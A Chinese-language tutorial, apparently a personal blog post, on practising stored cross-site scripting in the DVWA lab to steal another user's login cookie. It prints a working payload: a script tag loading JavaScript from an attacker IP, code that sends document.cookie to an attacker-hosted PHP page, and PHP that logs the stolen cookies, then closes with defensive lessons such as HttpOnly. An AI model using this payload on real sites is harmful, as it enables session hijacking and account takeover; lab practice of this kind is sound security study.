XSS(Cross-Site Scripting)大體分爲反射型和存儲型兩種,以前對XSS的認知僅停留在若是網站輸入框沒有屏蔽相似<script>alert('ok')</script>的代碼,那麼這個網站就有被XSS攻擊的風險,到底有什麼風險呢?又是怎麼被攻擊的呢?sorry,我也不知道>_<php
我用DVWA來練習存儲型XSS,目標是竊取用戶帳號(經過拿到對方的登陸cookie)。我在本機再開一臺虛擬機,用虛擬機(模擬另外一個用戶)訪問:http://IP地址/dvwa/vulnerabilities/xss_s/。這個頁面是否是很像留言或者評論頁面~前端
security level = low後端
1. 在本機登陸(模擬攻擊方),輸入時發現Name作了長度限制,而Message沒有,因此攻擊點在Message的輸入框cookie
輸入:<script src="http://172.24.107.155/test.js"></script>app
刷新一下當前頁面,剛插入的記錄仍然存在,說明惡意代碼已經被「存儲」在這個頁面了~xss
2. 在本機的php服務下放入js代碼文件和php文件。網站
js文件用來在被攻擊方採集cookie並傳入php頁面,php頁面將cookie存入名爲cookies的文件中。ui
test.js文件內容:spa
var img = document.createElement("img") img.src = "http://本機ip地址/test.php?cookies="+escape(document.cookie); document.body.appendChild(img);
test.php文件內容:code
<?php $cookie = $_GET["cookies"];error_log($cookie ."". "\n",3,"cookies"); ?>
3. 在虛擬機登陸(模擬被攻擊方),訪問剛纔的頁面:http://IP地址/dvwa/vulnerabilities/xss_s/,被攻擊方也能看到剛纔上傳的那條記錄(此時js代碼已經被執行了..>_<..):
4. 得到登陸憑證
攻擊方此時啥也不用再幹,守株待兔,等着js吧cookie發送到本機後,到剛纔放入test.js和test.php文件的地方,會發現多了一個名爲cookies的文件~
打開cookies文件,裏面記錄了被攻擊方的登錄cookie:
拿到對方的登陸憑證以後,咱們就能經過構造http請求(把對方的cookie傳進去),以對方的身份操做網站,若是對方的是admin的話,Hmm......
security level = medium/high
medium和high模式下,對Message作了輸入過濾,對name只替換了<script>,並加上了長度限制,使用Burp Suite抓包把name的輸入改成以下便可
一點點感悟:
1. 經過腳本讀取cookie其實很好防護,加上HttpOnly就行了>_<
2. 參數的長度校驗先後端都要作,只作前端等於沒作。。。
如需轉載,請註明出處,這是對他人勞動成果的尊重~